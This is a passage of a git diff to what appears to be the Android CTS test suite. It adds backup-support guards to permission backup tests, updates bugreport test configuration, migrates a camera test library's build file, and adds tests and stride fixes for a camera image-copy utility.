-# Use this reviewer by default.
-br-framework-team+reviews@google.com
+# Bug component: 656484
 
-alsutton@google.com
-anniemeng@google.com
-brufino@google.com
-nathch@google.com
-rthakohov@google.com
+include platform/frameworks/base:/services/backup/OWNERS
diff --git a/tests/backup/src/android/backup/cts/PermissionTest.java b/tests/backup/src/android/backup/cts/PermissionTest.java
index ee40922..4349aeb 100644
--- a/tests/backup/src/android/backup/cts/PermissionTest.java
+++ b/tests/backup/src/android/backup/cts/PermissionTest.java
@@ -94,6 +94,9 @@
      * Test backup and restore of regular runtime permission.
      */
     public void testGrantDeniedRuntimePermission() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         grantPermission(APP, ACCESS_FINE_LOCATION);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
@@ -110,6 +113,9 @@
      * Test backup and restore of pre-M regular runtime permission.
      */
     public void testGrantDeniedRuntimePermission22() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         setAppOp(APP22, READ_CONTACTS, MODE_IGNORED);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
@@ -126,6 +132,9 @@
      * Test backup and restore of foreground runtime permission.
      */
     public void testNoTriStateRuntimePermission() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         // Set a marker
         grantPermission(APP, WRITE_CONTACTS);
 
@@ -152,6 +161,9 @@
      * Test backup and restore of foreground runtime permission.
      */
     public void testNoTriStateRuntimePermission22() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         setAppOp(APP22, ACCESS_FINE_LOCATION, MODE_IGNORED);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
@@ -165,6 +177,9 @@
      * Test backup and restore of foreground runtime permission.
      */
     public void testGrantForegroundRuntimePermission() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         grantPermission(APP, ACCESS_FINE_LOCATION);
 
         // revoked is the default state. Hence mark the permission as user set, so the permissions
@@ -186,6 +201,9 @@
      * Test backup and restore of foreground runtime permission.
      */
     public void testGrantForegroundRuntimePermission22() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         setAppOp(APP22, ACCESS_FINE_LOCATION, MODE_FOREGROUND);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
@@ -199,6 +217,9 @@
      * Test backup and restore of foreground runtime permission.
      */
     public void testGrantForegroundAndBackgroundRuntimePermission() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         grantPermission(APP, ACCESS_FINE_LOCATION);
         grantPermission(APP, ACCESS_BACKGROUND_LOCATION);
 
@@ -217,6 +238,9 @@
      * Test backup and restore of foreground runtime permission.
      */
     public void testGrantForegroundAndBackgroundRuntimePermission22() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         // Set a marker
         setAppOp(APP22, WRITE_CONTACTS, MODE_IGNORED);
 
@@ -236,6 +260,9 @@
      * Restore if the permission was reviewed
      */
     public void testRestorePermReviewed() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         clearFlag(APP22, WRITE_CONTACTS, FLAG_PERMISSION_REVIEW_REQUIRED);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
@@ -250,6 +277,9 @@
      * Restore if the permission was user set
      */
     public void testRestoreUserSet() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         setFlag(APP, WRITE_CONTACTS, FLAG_PERMISSION_USER_SET);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
@@ -263,6 +293,9 @@
      * Restore if the permission was user fixed
      */
     public void testRestoreUserFixed() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         setFlag(APP, WRITE_CONTACTS, FLAG_PERMISSION_USER_FIXED);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
@@ -276,6 +309,9 @@
      * Restoring of a flag should not grant the permission
      */
     public void testRestoreOfFlagDoesNotGrantPermission() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         setFlag(APP, WRITE_CONTACTS, FLAG_PERMISSION_USER_FIXED);
 
         mBackupUtils.backupNowAndAssertSuccess(ANDROID_PACKAGE);
@@ -289,6 +325,9 @@
      * Test backup and delayed restore of regular runtime permission.
      */
     public void testDelayedRestore() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
         grantPermission(APP, ACCESS_FINE_LOCATION);
 
         setAppOp(APP22, READ_CONTACTS, MODE_IGNORED);
diff --git a/tests/bugreport/Android.bp b/tests/bugreport/Android.bp
index 40e8975..d008efb 100644
--- a/tests/bugreport/Android.bp
+++ b/tests/bugreport/Android.bp
@@ -12,7 +12,7 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-android_test_helper_app {
+android_test {
     name: "CtsBugreportTestCases",
     defaults: ["cts_defaults"],
     static_libs: [
@@ -25,4 +25,8 @@
         ],
     srcs: ["src/**/*.java"],
     sdk_version: "test_current",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
 }
diff --git a/tests/bugreport/AndroidTest.xml b/tests/bugreport/AndroidTest.xml
index b46682a..bdb66bb 100644
--- a/tests/bugreport/AndroidTest.xml
+++ b/tests/bugreport/AndroidTest.xml
@@ -16,7 +16,7 @@
   -->
 <configuration description="Bugreport Manager tests">
     <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="auto" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
@@ -26,5 +26,6 @@
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.bugreport.cts" />
+        <option name="runtime-hint" value="3m40s" />
     </test>
 </configuration>
diff --git a/tests/bugreport/OWNERS b/tests/bugreport/OWNERS
index 32da65d..6ac6141 100644
--- a/tests/bugreport/OWNERS
+++ b/tests/bugreport/OWNERS
@@ -1,2 +1,3 @@
+# Bug component: 153446
 abkaur@google.com
 nandana@google.com
diff --git a/tests/bugreport/TEST_MAPPING b/tests/bugreport/TEST_MAPPING
new file mode 100644
index 0000000..4244967
--- /dev/null
+++ b/tests/bugreport/TEST_MAPPING
@@ -0,0 +1,17 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsBugreportTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.LargeTest"
+        }
+      ]
+    }
+  ],
+  "postsubmit": [
+    {
+      "name": "CtsBugreportTestCases"
+    }
+  ]
+}
diff --git a/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java b/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
index 0a9b3f8..bea0dd1 100644
--- a/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
+++ b/tests/bugreport/src/android/bugreport/cts/BugreportManagerTest.java
@@ -29,6 +29,7 @@
 import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
@@ -91,6 +92,7 @@
         assertThat(screenshot).isNull();
     }
 
+    @LargeTest
     @Test
     public void testFullBugreport() throws Exception {
         Pair<String, String> brFiles = triggerBugreport(BugreportParams.BUGREPORT_MODE_FULL);
diff --git a/tests/camera/Android.bp b/tests/camera/Android.bp
new file mode 100644
index 0000000..bf39750
--- /dev/null
+++ b/tests/camera/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Reusable Camera performance test classes and helpers
+android_library {
+    name: "cts-camera-performance-tests",
+
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "mockito-target-minus-junit4",
+        "CtsCameraUtils",
+        "truth-prebuilt",
+        "androidx.test.rules",
+    ],
+
+    manifest: "AndroidManifest-lib.xml",
+    resource_dirs: ["res"],
+    srcs: [
+        "src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java",
+        "src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java",
+        "src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java",
+        "src/android/hardware/camera2/cts/PerformanceTest.java",
+        "src/android/hardware/cts/CameraPerformanceTestHelper.java",
+        "src/android/hardware/cts/LegacyCameraPerformanceTest.java",
+        "src/android/hardware/camera2/cts/RecordingTest.java",
+    ],
+
+    sdk_version: "test_current",
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index 1dc75f3..749fed5 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -14,40 +14,6 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-# Reusable Camera performance test classes and helpers
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := cts-camera-performance-tests
-
-LOCAL_MODULE_TAGS := tests
-
-# Include both the 32 and 64 bit versions
-LOCAL_MULTILIB := both
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt \
-	ctstestrunner-axt \
-	mockito-target-minus-junit4 \
-	CtsCameraUtils \
-	truth-prebuilt \
-	androidx.test.rules
-
-LOCAL_MANIFEST_FILE := AndroidManifest-lib.xml
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
-LOCAL_SRC_FILES := \
-	src/android/hardware/camera2/cts/testcases/Camera2AndroidTestRule.java \
-	src/android/hardware/camera2/cts/Camera2SurfaceViewCtsActivity.java \
-	src/android/hardware/camera2/cts/testcases/Camera2SurfaceViewTestCase.java \
-	src/android/hardware/camera2/cts/PerformanceTest.java \
-	src/android/hardware/cts/CameraPerformanceTestHelper.java \
-	src/android/hardware/cts/LegacyCameraPerformanceTest.java \
-	src/android/hardware/camera2/cts/RecordingTest.java
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
 # CtsCameraTestCases package
 
 include $(CLEAR_VARS)
diff --git a/tests/camera/api25test/Android.mk b/tests/camera/api25test/Android.mk
index 0152f92..c00b2d5 100644
--- a/tests/camera/api25test/Android.mk
+++ b/tests/camera/api25test/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/CtsUtilsTest.java b/tests/camera/src/android/hardware/camera2/cts/CtsUtilsTest.java
new file mode 100644
index 0000000..4839b62
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/CtsUtilsTest.java
@@ -0,0 +1,246 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static junit.framework.Assert.*;
+
+import android.graphics.ImageFormat;
+import android.media.Image;
+import android.media.Image.Plane;
+import android.util.Size;
+
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+
+import org.junit.Test;
+
+/**
+ * <p>
+ * Tests for the CameraTestUtils class. Aims to ensure that failures in other
+ * testcases are failures of the tested APIs, not the CameraTestUtils code.
+ * </p>
+ */
+public class CtsUtilsTest {
+    private static final byte PADBYTE = (byte)0xa5;
+
+    @Test
+    public void testCopyYuv() {
+        final int w = 14;
+        final int h = 10;
+        final FakeImage src = FakeImage.createYuv420(w, h, 14,  8, 10);
+        final FakeImage dst = FakeImage.createYuv420(w, h, 14, 10,  8);
+
+        drawGradient(src.planes[0], w, h);
+        drawGradient(src.planes[1], w/2, h/2);
+        drawGradient(src.planes[2], w/2, h/2);
+
+        CameraTestUtils.imageCopy(src, dst);
+
+        checkPlane("Y", w,   h,   src.planes[0], dst.planes[0]);
+        checkPlane("U", w/2, h/2, src.planes[1], dst.planes[1]);
+        checkPlane("V", w/2, h/2, src.planes[2], dst.planes[2]);
+    }
+
+    @Test
+    public void testCopyPad0to0() {
+        final int w = 21;
+        final int h = 9;
+        final FakeImage src = FakeImage.createRaw(w, h, 21);
+        final FakeImage dst = FakeImage.createRaw(w, h, 21);
+
+        drawGradient(src.planes[0], w, h);
+        CameraTestUtils.imageCopy(src, dst);
+
+        checkPlane("RAW", w, h, src.planes[0], dst.planes[0]);
+    }
+
+    @Test
+    public void testCopyPad3to3() {
+        final int w = 21;
+        final int h = 9;
+        final FakeImage src = FakeImage.createRaw(w, h, 24);
+        final FakeImage dst = FakeImage.createRaw(w, h, 24);
+
+        drawGradient(src.planes[0], w, h);
+        CameraTestUtils.imageCopy(src, dst);
+
+        checkPlane("RAW", w, h, src.planes[0], dst.planes[0]);
+    }
+
+    @Test
+    public void testCopyPad3to0() {
+        final int w = 21;
+        final int h = 9;
+        final FakeImage src = FakeImage.createRaw(w, h, 24);
+        final FakeImage dst = FakeImage.createRaw(w, h, 21);
+
+        drawGradient(src.planes[0], w, h);
+        CameraTestUtils.imageCopy(src, dst);
+
+        checkPlane("RAW", w, h, src.planes[0], dst.planes[0]);
+    }
+
+    @Test
+    public void testCopyPad0to3() {
+        final int w = 21;
+        final int h = 9;
+        final FakeImage src = FakeImage.createRaw(w, h, 21);
+        final FakeImage dst = FakeImage.createRaw(w, h, 24);
+
+        drawGradient(src.planes[0], w, h);
+        CameraTestUtils.imageCopy(src, dst);
+
+        checkPlane("RAW", w, h, src.planes[0], dst.planes[0]);
+    }
+
+    @Test
+    public void testCopyPad5to3() {
+        final int w = 21;
+        final int h = 9;
+        final FakeImage src = FakeImage.createRaw(w, h, 26);
+        final FakeImage dst = FakeImage.createRaw(w, h, 24);
+
+        drawGradient(src.planes[0], w, h);
+        CameraTestUtils.imageCopy(src, dst);
+
+        checkPlane("RAW", w, h, src.planes[0], dst.planes[0]);
+    }
+
+    @Test
+    public void testCopyPad3to5() {
+        final int w = 21;
+        final int h = 9;
+        final FakeImage src = FakeImage.createRaw(w, h, 24);
+        final FakeImage dst = FakeImage.createRaw(w, h, 26);
+
+        drawGradient(src.planes[0], w, h);
+        CameraTestUtils.imageCopy(src, dst);
+
+        checkPlane("RAW", w, h, src.planes[0], dst.planes[0]);
+    }
+
+    private static void checkPlane(String planeName, int w, int h, FakePlane src, FakePlane dst) {
+        final byte[] srcRow = new byte[w];
+        final byte[] dstRow = new byte[w];
+        src.buffer.rewind();
+        dst.buffer.rewind();
+        for (int y=0; y < h; ++y) {
+            src.buffer.position(y * src.rowStride);
+            dst.buffer.position(y * dst.rowStride);
+            src.buffer.get(srcRow, 0, srcRow.length);
+            dst.buffer.get(dstRow, 0, dstRow.length);
+            for (int x=0; x < w; ++x) {
+                if (srcRow[x] != dstRow[x]) {
+                    fail("plane " + planeName + " differs on row " + y + ", col " + x + ": " +
+                            "src=" + srcRow[x] + " dst=" + dstRow[x]);
+                }
+            }
+            String failmsg = planeName + " plane copied incorrectly";
+            assertTrue(failmsg, Arrays.equals(srcRow, dstRow));
+        }
+        assertEquals("src plane " + planeName + " not exhausted", 0, src.buffer.remaining());
+        assertEquals("dst plane " + planeName + " not exhausted", 0, dst.buffer.remaining());
+    }
+
+    private static void drawGradient(FakePlane plane, int w, int h) {
+        final int diagonal = (w-1)*(w-1) + (h-1)*(h-1);
+        final int rowStride = plane.rowStride;
+        final ByteBuffer buffer = plane.buffer;
+        buffer.rewind();
+        for (int y=0; y<h; ++y) {
+            int x = 0;
+            // fill the image area...
+            for (; x < w; ++x) {
+                final byte val;
+                if (x == w/2) {
+                    val = 0; // a vertical black line down the middle
+                } else {
+                    val = (byte)(255 * (x*x + y*y) / diagonal); // radial gradient
+                }
+                buffer.put(val);
+            }
+            // ...and pad the rest of the row stride.
+            if (y < h-1) {
+                for (; x < rowStride; ++x) {
+                    buffer.put(PADBYTE);
+                }
+            }
+        }
+    }
+
+}
+
+class FakeImage extends Image {
+    public final int format;
+    public final int width;
+    public final int height;
+    public final long timestamp = System.nanoTime();
+    public final FakePlane[] planes;
+
+    public FakeImage(int format, int w, int h, FakePlane[] planes) {
+        this.format = format;
+        this.width = w;
+        this.height = h;
+        this.planes = planes;
+    }
+
+    public static FakeImage createYuv420(int w, int h, int yStride, int uStride, int vStride) {
+        return new FakeImage(
+                ImageFormat.YUV_420_888,
+                w, h,
+                new FakePlane[] {
+                        FakePlane.createStrict(w,   h,   yStride),
+                        FakePlane.createStrict(w/2, h/2, uStride),
+                        FakePlane.createStrict(w/2, h/2, vStride),
+                }
+        );
+    }
+
+    public static FakeImage createRaw(int w, int h, int rowStride) {
+        return new FakeImage(
+                ImageFormat.RAW_SENSOR, w, h,
+                new FakePlane[] { FakePlane.createStrict(w, h, rowStride) }
+        );
+    }
+
+    @Override public int getFormat() { return format; }
+    @Override public int getWidth() { return width; }
+    @Override public int getHeight() { return height; }
+    @Override public long getTimestamp() { return timestamp; }
+    @Override public Plane[] getPlanes() { return planes; }
+    @Override public void close() { /* no-op */ }
+}
+
+class FakePlane extends Image.Plane {
+    public final int rowStride;
+    public final ByteBuffer buffer;
+
+    public FakePlane(int nbytes, int rowStride) {
+        buffer = ByteBuffer.allocateDirect(nbytes);
+        this.rowStride = rowStride;
+    }
+
+    public static FakePlane createStrict(int w, int h, int rowStride) {
+        int nbytes = rowStride * (h - 1) + w; // strictest possible size
+        return new FakePlane(nbytes, rowStride);
+    }
+
+    @Override public int getRowStride() { return rowStride; }
+    @Override public int getPixelStride() { return 1; }
+    @Override public ByteBuffer getBuffer() { return buffer; }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 6cfa435..6398e01 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -305,6 +305,11 @@
                     "ImageWriter 1st input image should match camera 1st output image",
                     isImageStronglyEqual(inputImage, cameraImage));
 
+            if (DEBUG) {
+                String inputFileName = mDebugFileNameBase + "/" + maxSize + "_image1_input.yuv";
+                dumpFile(inputFileName, getDataFromImage(inputImage));
+            }
+
             // Image should be closed after queueInputImage call
             Plane closedPlane = inputImage.getPlanes()[0];
             ByteBuffer closedBuffer = closedPlane.getBuffer();
@@ -312,12 +317,12 @@
             imageInvalidAccessTestAfterClose(inputImage, closedPlane, closedBuffer);
 
             outputImage = listenerForWriter.getImage(CAPTURE_IMAGE_TIMEOUT_MS);
-            mCollector.expectTrue("ImageWriter 1st output image should match 1st input image",
+            mCollector.expectTrue("ImageWriter 1st output image should match 1st camera image",
                     isImageStronglyEqual(cameraImage, outputImage));
             if (DEBUG) {
-                String img1FileName = mDebugFileNameBase + "/" + maxSize + "_image1_copy.yuv";
+                String img1FileName = mDebugFileNameBase + "/" + maxSize + "_image1_camera.yuv";
                 String outputImg1FileName = mDebugFileNameBase + "/" + maxSize
-                        + "_outputImage2_copy.yuv";
+                        + "_image1_output.yuv";
                 dumpFile(img1FileName, getDataFromImage(cameraImage));
                 dumpFile(outputImg1FileName, getDataFromImage(outputImage));
             }
@@ -335,7 +340,7 @@
             // make a copy of image1 data, as it will be closed after queueInputImage;
             byte[] img1Data = getDataFromImage(cameraImage);
             if (DEBUG) {
-                String img2FileName = mDebugFileNameBase + "/" + maxSize + "_image2.yuv";
+                String img2FileName = mDebugFileNameBase + "/" + maxSize + "_image2_camera.yuv";
                 dumpFile(img2FileName, img1Data);
             }
 
@@ -353,7 +358,7 @@
 
             if (DEBUG) {
                 String outputImgFileName = mDebugFileNameBase + "/" + maxSize +
-                        "_outputImage2.yuv";
+                        "_image2_output.yuv";
                 dumpFile(outputImgFileName, outputImageData);
             }
             // No need to close inputImage, as it is sent to the surface after queueInputImage;
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index bf42ab7..3a57e6e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -1264,7 +1264,12 @@
         Size maxVideoSize = SIZE_BOUND_1080P;
         if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_2160P)) {
             maxVideoSize = SIZE_BOUND_2160P;
+        } else if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_QHD)) {
+            maxVideoSize = SIZE_BOUND_QHD;
+        } else if (CamcorderProfile.hasProfile(CamcorderProfile.QUALITY_2K)) {
+            maxVideoSize = SIZE_BOUND_2K;
         }
+
         mSupportedVideoSizes =
                 getSupportedVideoSizes(cameraId, mCameraManager, maxVideoSize);
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 32c927e..615dc28 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -2053,6 +2053,10 @@
     private boolean isMandatoryCombinationAvailable(final int[] combination,
             final MaxStreamSizes maxSizes, boolean isInput,
             final MandatoryStreamCombination[] availableCombinations) {
+        boolean supportYuvReprocess = mStaticInfo.isCapabilitySupported(
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_YUV_REPROCESSING);
+        boolean supportOpaqueReprocess = mStaticInfo.isCapabilitySupported(
+                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_PRIVATE_REPROCESSING);
         // Static combinations to be verified can be composed of multiple entries
         // that have the following layout (format, size). In case "isInput" is set,
         // the first stream configuration entry will contain the input format and size
@@ -2062,6 +2066,11 @@
                 new ArrayList<Pair<Pair<Integer, Boolean>, Size>>(streamCount);
         for (int i = 0; i < combination.length; i += 2) {
             if (isInput && (i == 0)) {
+                // Skip the combination if the format is not supported for reprocessing.
+                if ((combination[i] == YUV && !supportYuvReprocess) ||
+                        (combination[i] == PRIV && !supportOpaqueReprocess)) {
+                    return true;
+                }
                 Size sz = maxSizes.getMaxInputSizeForFormat(combination[i]);
                 currentCombination.add(Pair.create(Pair.create(new Integer(combination[i]),
                             new Boolean(true)), sz));
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index ad41f9a..88f2710 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -278,38 +278,6 @@
                 timeout(PREPARE_TIMEOUT_MS).times(1)).
                 onSurfacePrepared(eq(mSession), eq(mReaderSurface));
 
-        // Calculate frame rate during prepare
-
-        int resultsReceived = (int) resultListener.getTotalNumFrames();
-        if (resultsReceived > 2) {
-            // Only verify frame rate if there are a couple of results
-            Pair<Long, Long> whilePreparingFrameDurationStats =
-                    measureMeanFrameInterval(resultListener, resultsReceived, /*prevTimestamp*/ 0);
-
-            Log.i(TAG, String.format("Frame interval during prepare avg: %f ms, peak %f ms",
-                            whilePreparingFrameDurationStats.first / 1e6,
-                            whilePreparingFrameDurationStats.second / 1e6));
-
-            if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
-                mCollector.expectTrue(
-                    String.format("Camera %s: Preview peak frame interval affected by prepare " +
-                            "call: preview avg frame duration: %f ms, peak during prepare: %f ms",
-                            cameraId,
-                            frameDurationStats.first / 1e6,
-                            whilePreparingFrameDurationStats.second / 1e6),
-                    (whilePreparingFrameDurationStats.second <=
-                            frameDurationStats.first * (1 + PREPARE_PEAK_RATE_BOUNDS)));
-                mCollector.expectTrue(
-                    String.format("Camera %s: Preview average frame interval affected by prepare " +
-                            "call: preview avg frame duration: %f ms, during prepare: %f ms",
-                            cameraId,
-                            frameDurationStats.first / 1e6,
-                            whilePreparingFrameDurationStats.first / 1e6),
-                    (whilePreparingFrameDurationStats.first <=
-                            frameDurationStats.first * (1 + PREPARE_FRAME_RATE_BOUNDS)));
-            }
-        }
-
         resultListener.drain();
 
         // Get at least one more preview result without prepared target
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 9866070..d29297f 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -99,6 +99,8 @@
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
     private static final boolean DEBUG = Log.isLoggable(TAG, Log.DEBUG);
     public static final Size SIZE_BOUND_1080P = new Size(1920, 1088);
+    public static final Size SIZE_BOUND_2K = new Size(2048, 1088);
+    public static final Size SIZE_BOUND_QHD = new Size(2560, 1440);
     public static final Size SIZE_BOUND_2160P = new Size(3840, 2160);
     // Only test the preview size that is no larger than 1080p.
     public static final Size PREVIEW_SIZE_BOUND = SIZE_BOUND_1080P;
@@ -1287,6 +1289,7 @@
         for (int i = 0; i < planes.length; i++) {
             buffer = planes[i].getBuffer();
             assertNotNull("Fail to get bytebuffer from plane", buffer);
+            buffer.rewind();
             rowStride = planes[i].getRowStride();
             pixelStride = planes[i].getPixelStride();
             assertTrue("pixel stride " + pixelStride + " is invalid", pixelStride > 0);
@@ -2234,30 +2237,28 @@
                         " is not supported");
             }
 
-            if (srcRowStride == dstRowStride && srcPixStride == dstPixStride) {
+            if (srcRowStride == dstRowStride && srcPixStride == dstPixStride &&
+                    srcPixStride == 1) {
                 // Fast path, just copy the content in the byteBuffer all together.
                 dstBuffer.put(srcBuffer);
             } else {
                 Size effectivePlaneSize = getEffectivePlaneSizeForImage(src, i);
                 int srcRowByteCount = srcRowStride;
                 int dstRowByteCount = dstRowStride;
-                byte[] srcDataRow = new byte[srcRowByteCount];
+                byte[] srcDataRow = new byte[Math.max(srcRowStride, dstRowStride)];
 
-                if (srcPixStride == dstPixStride) {
+                if (srcPixStride == dstPixStride && srcPixStride == 1) {
                     // Row by row copy case
                     for (int row = 0; row < effectivePlaneSize.getHeight(); row++) {
                         if (row == effectivePlaneSize.getHeight() - 1) {
                             // Special case for interleaved planes: need handle the last row
                             // carefully to avoid memory corruption. Check if we have enough bytes
                             // to copy.
-                            int remainingBytes = srcBuffer.remaining();
-                            if (srcRowByteCount > remainingBytes) {
-                                srcRowByteCount = remainingBytes;
-                            }
+                            srcRowByteCount = Math.min(srcRowByteCount, srcBuffer.remaining());
+                            dstRowByteCount = Math.min(dstRowByteCount, dstBuffer.remaining());
                         }
                         srcBuffer.get(srcDataRow, /*offset*/0, srcRowByteCount);
-                        dstBuffer.put(srcDataRow, /*offset*/0,
-                                Math.min(srcRowByteCount, dstRowByteCount));
+                        dstBuffer.put(srcDataRow, /*offset*/0, dstRowByteCount);
                     }
                 } else {
                     // Row by row per pixel copy case
@@ -2379,10 +2380,12 @@
             rhsBuffer = rhsPlanes[i].getBuffer();
             lhsBuffer.rewind();
             rhsBuffer.rewind();
-            // Special case for YUV420_888 buffer with different layout
+            // Special case for YUV420_888 buffer with different layout or
+            // potentially differently interleaved U/V planes.
             if (lhsImg.getFormat() == ImageFormat.YUV_420_888 &&
                     (lhsPlanes[i].getPixelStride() != rhsPlanes[i].getPixelStride() ||
-                     lhsPlanes[i].getRowStride() != rhsPlanes[i].getRowStride())) {
+                     lhsPlanes[i].getRowStride() != rhsPlanes[i].getRowStride() ||
+                     (lhsPlanes[i].getPixelStride() != 1))) {
                 int width = getEffectivePlaneSizeForImage(lhsImg, i).getWidth();
                 int height = getEffectivePlaneSizeForImage(lhsImg, i).getHeight();
                 int rowSizeL = lhsPlanes[i].getRowStride();
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
index a05af2a..bf4397c 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -940,8 +940,8 @@
      * @return Sensitivity value in legal range.
      */
     public int getSensitivityClampToRange(int sensitivity) {
-        int minSensitivity = getSensitivityMinimumOrDefault(Integer.MAX_VALUE);
-        int maxSensitivity = getSensitivityMaximumOrDefault(Integer.MIN_VALUE);
+        int minSensitivity = getSensitivityMinimumOrDefault();
+        int maxSensitivity = getSensitivityMaximumOrDefault();
         if (minSensitivity > SENSOR_INFO_SENSITIVITY_RANGE_MIN_AT_MOST) {
             failKeyCheck(CameraCharacteristics.SENSOR_INFO_SENSITIVITY_RANGE,
                     String.format(
